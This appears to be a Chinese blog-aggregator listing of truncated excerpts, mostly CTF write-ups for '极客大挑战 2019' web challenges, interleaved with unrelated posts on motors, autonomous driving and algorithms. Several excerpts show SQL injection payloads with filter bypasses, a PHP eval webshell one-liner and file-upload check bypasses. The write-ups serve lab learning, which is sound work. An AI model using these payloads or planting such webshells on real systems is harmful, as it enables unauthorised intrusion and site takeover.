挑战赛

[极客大挑战 2019]LoveSQL

打开题目如下。 直接使用万能密码即可登录,但未拿到 flag。 这里尝试联合注入,首先确定字段数量,Payload:admin' or 1=1 order by 1;#,当字段数为 4 时报错,因此字段数为 3。 接下来判断什么位置的字段会输出:admin' union select 1,2,3;# ......
LoveSQL 2019

[极客大挑战 2019]Http

打开网页如下。 查看页面源代码,发现存在 Secret.php 页面。 <h2>小组简介</h2> <p>·成立时间:2005年3月 ·研究领域:渗透测试、逆向工程、密码学、IoT硬件安全、移动安全、安全编程、二进制漏洞挖掘利用等安全技术 ·小组的愿望:致力于成为国内实力强劲和拥有广泛影响力的安全研 ......
2019 Http

[极客大挑战 2019]Knife

题目访问如下。 直接使用 antsword 连接即可。 ......
Knife 2019

[极客大挑战 2019]Upload

打开题目后发现是一道上传题,如下。 随便上传个 .jpg 结尾的小马上去,提示:NO! HACKER! your file included '<?'。 <?php @eval($_POST['cmd']); ?> 因此使用其他方式替换掉 <?。 <script language="php">@ev ......
Upload 2019

[极客大挑战 2019]BabySQL

打开题目如下。 尝试输入:admin' or 1=1;#,发现 or 被过滤了。 尝试双写绕过:admin' oorr 1=1;#,成功登录。 接下来是与 **[极客大挑战 2019]LoveSQL **类似的,只是多使用了一个双写绕过而已。 ......
BabySQL 2019

[极客大挑战 2019]Secret File

打开题目如下。 查看页面源代码,发现存在 Archive_room.php 文件。 访问 Archive_room.php 文件如下。 使用 BurpSuite 抓包,点击 SECRET 后,发现其中某个跳转的页面源代码存在提示 secr3t.php。 HTTP/1.1 302 Found Serv ......
Secret 2019 File

永磁同步电机目前发展现状如何?面临哪些技术挑战?

作者:Will.liu 链接:https://www.zhihu.com/question/532638906/answer/2508423041 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 先上个自己做的思维导图,大概说下现在的电机分类。 同步电机根据产生磁场 ......

[极客大挑战 2019]BuyFlag

打开网页,发现右手边的菜单中有个 PAYFLAG,打开后跳转到 pay.php 中,其中网页源代码有提示,主要内容如下: If you want to buy the FLAG: You must be a student from CUIT!!! You must be answer the co ......
BuyFlag 2019

[极客大挑战 2019]PHP

打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在 www.zip 文件,下载后解压打开,发现源码。 在 index.php 中,关键代码如下: <?php include 'class.php'; $select = $_GE ......
2019 PHP

[极客大挑战 2019]PHP

打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在 www.zip 文件,下载后解压打开,发现源码。 在 index.php 中,关键代码如下: <?php include 'class.php'; $select = $_GE ......
2019 PHP

自动驾驶汽车中的图像识别与机器学习算法的实践与挑战

自动驾驶汽车中的图像识别与机器学习算法的实践与挑战 自动驾驶汽车技术的关键在于其对环境的感知和理解。通过图像识别和机器学习算法,自动驾驶汽车能够识别道路、车辆、行人以及其他交通元素,进而做出决策并执行相应的驾驶操作。然而,这项技术在实际应用中仍面临一些挑战。 一、图像识别的实践 在自动驾驶汽车中,图 ......
算法 图像 机器 汽车

自动驾驶的未来展望和挑战

自动驾驶技术是一项引人瞩目的创新,将在未来交通领域产生深远影响。然而,随着技术的不断演进,自动驾驶也 ......

【算法】万圣节前夕的迷宫挑战(二)

在十月底一个阳光明媚的周末,小悦开始她的徒步旅行,一头高高的马尾轻轻摇曳,充满了青春的活力。她的笑容如同春日的阳光,温暖而明亮,总是让人心情愉悦。那天的徒步旅行,她选择了一条山区路线,期望能欣赏到秋天那五彩斑斓的树叶和感受大自然的魅力。 旅途中,小悦遇到了一些意料之外的障碍。她发现自己的体力迅速流失 ......
迷宫 算法

挑战用很多种方法解决A+B(c++)

写在前面的 本文章主要是博主自己想写。水篇文章。 正常作法 #include<bits/stdc++.h> using namespace std; int main(){ int a,b; cin>>a>>b; cout<<a+b; return 0; } 数组 #include<bits/std ......
方法

[极客大挑战 2019]FinalSQL

参考文章:https://blog.csdn.net/qq_60829702/article/details/127445276 https://blog.csdn.net/wp568/article/details/132513988 ......
FinalSQL 2019

PolarD&N2023秋季个人挑战—Crypto全解

EasyRSA (额。。这个题看错了不是挑战赛的。这里当做好题记录下来了) 题目信息:500 分 5 Polar币 from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime import gmpy2, os p = g ......
PolarD Crypto 个人 2023 amp

手机端侧文字识别:挑战与解决方案

手机端侧文字识别:挑战与解决方案 在手机端侧实现文字识别,考虑资源限制和效率至关重要。 1.图像处理 在手机端侧进行图像预处理,必须精细权衡资源消耗与效果。 其中,快速灰度化是首步,它使用像素加权法(如YUV转换)将彩色图像转化为黑白,目的是减少数据维度,加速后续处理。 紧接着,自适应二值化如Ots ......
解决方案 文字 方案 手机

挑战卡a

挑战卡a ━━━━━━━━━━━━━━━━━━━━━━━━━ mid:m1/m2-.-m7/m8/m-1/m-2 m1m2m7m8:对应挑战卡上的挑战卡D。 m-1:TT随机选择一个探测到的桃战卡。 -2:T探测到距离机身中心距离最近的挑战卡。 举例:g010010010060m1 说明:T通过已打 ......

挑战程序设计竞赛 2.2 poj 3040 Allowance 贪心

https://vjudge.csgrandeur.cn/problem/POJ-3040 /* 作为创纪录的牛奶产量的奖励,约翰决定每周给贝西一小笔零用钱。FJ拥有一组N(1 <= N <= 20)种不同面额的硬币, 其中每个面额的硬币均可整除较大面额的硬币(例如,1分硬币、5分硬币、10分硬币和 ......
程序设计 Allowance 程序 3040 2.2

大模型背景下软件工程的机遇与挑战

点击链接了解详情 本文作者:汪晟杰 导语:AISE(AI Software Engineering)有人说是软件工程 3.0,即基于大模型(LLM - Large Language Model)时代下的软件工程。那么究竟什么是 AISE,他的发展历程对软件工程产生怎样的变化。本次主题文章会分为五大部 ......
软件工程 机遇 模型 背景 工程

【算法】万圣节前夕的迷宫挑战

这一天阳光和煦,小悦将捣蛋的侄子小明送回家后,紧绷的神经终于得以放松。在过去的一周里,小悦以无比的耐心和细心照顾着小明,同时也不忘在编程的道路上引领他迈出第一步。 万圣节前夕的一天,书房中的陈设在阳光下显得庄重而温暖,小悦正专心致志地处理着手头的工作。突然,一封邮件如不速之客般打破了这份宁静。邮件标 ......
迷宫 算法

机器视觉在艺术鉴赏和文物修复中的应用与挑战

机器视觉技术在艺术鉴赏和文物修复领域的应用,为文化遗产的保护和修复提供了新的可能性。这一技术不仅可以协助鉴定艺术品的真伪和年代,还可以帮助文物修复师更好地理解并修复古老的艺术品。本文将讨论机器视觉在艺术鉴赏和文物修复中的应用以及相关的挑战。 艺术品真伪鉴定 机器视觉技术可以用于检测艺术品的真伪。通过 ......
文物 视觉 机器 艺术

牛客挑战赛70 B

原题 注意这个环指的是简单环 这题用到一个非常 trick 的思路:给你一个图,让你保证每个点恰好处于一个环上。对于任意在环上的点 \(p\) ,出入度都为 \(1\) ,于是我们把它拆成两个点 \(p_{in},p_{out}\) 。则原图上的一条边 \((u,v)\) 在拆点后的图上对应 \(( ......
挑战赛

机器视觉在自动驾驶汽车中的应用与挑战

机器视觉在自动驾驶汽车中扮演着至关重要的角色,它使车辆能够感知和理解周围环境,以便自主驾驶。以下是机器视觉在自动驾驶汽车中的应用以及相关挑战: 应用: 障碍物检测与避让: 机器视觉系统可以检测和识别路上的障碍物,如其他车辆、行人、自行车等,从而帮助自动驾驶汽车避免碰撞。 车道保持和自动驾驶: 通过摄 ......
视觉 机器 汽车

【noip赛前20天冲刺集训 day3】矩阵挑战

NOIP比赛前的冲刺训练 - 第3天:矩阵挑战 问题描述 您有一个 n×m 矩阵,行编号从 0 到 n−1,列编号从 0 到 m−1。最初,第i行第j列的元素是 i*m+j。系统支持三种类型的操作: 交换两行。 交换两列。 交换两个特定的元素。 任务是确定执行 q 次操作后矩阵的状态。 输入格式 为 ......
矩阵 noip day3 day

[极客大挑战 2019]HardSQL

原理 用fuzz字典来爆破哪些关键字被过滤了 sql语句可以不用空格,仅用括号来隔开username=1'or(updatexml(1,concat(0x7e,database()),1))%23 url编码一些值:%20空格 %23#。。。and关键字可以用^来代替,=可以用like来代替。有时候 ......
HardSQL 2019

[极客大挑战 2019]BuyFlag

原理 弱比较问题 科学计数法绕过 cookie字段的修改 解题过程 进入靶场,页面没什么提示,就先看下原代码吧 看到有两个超链接,现在这个页面是index.php,看一下flag.php 有这几个提示,要满足两个条件咯,再看下原代码 发现有后端源码,也就是说要传入password和money,这里的 ......
BuyFlag 2019

[极客大挑战 2019]PHP

原理 解题过程 查看原代码没啥提示,看到有备份网站 常见的备份文件后缀名: .git .svn .swp .~ .bak .bash_history 尝试是否存在index.php的备份。如index.php.bak,又或者www.zip等等,如果没找到就只能用目录扫描工具了 下载www.zip压缩 ......
2019 PHP

[极客大挑战 2019]BabySQL

原理 sql关键字绕过姿势之双写绕过 解题过程 BabySQL嘛,看到登录框,先试试or万能登录 发现sql语句报错了,把我or给吃了,可以看到这种过滤是直接把or关键字替换成了空字符串 那我们可以试试双写绕过 可以了,我们得到了账号密码,有啥用??我起初还想着将这密码解密呢- -,浪费时间,继续用 ......
BabySQL 2019

[极客大挑战 2019]Upload

原理 文件上传MIME和文件头的检测 php的多种后缀 木马连接 解题过程 进入靶场,应该就是上传漏洞然后连接木马即可。 先上传个正常文件名的文件然后抓包,我上传个正常jpg文件还冤枉我??先把文件内容删了。MIME信息和文件头信息换换 换成png还是不行,试试gif格式 终于可以了- -,现在给文 ......
Upload 2019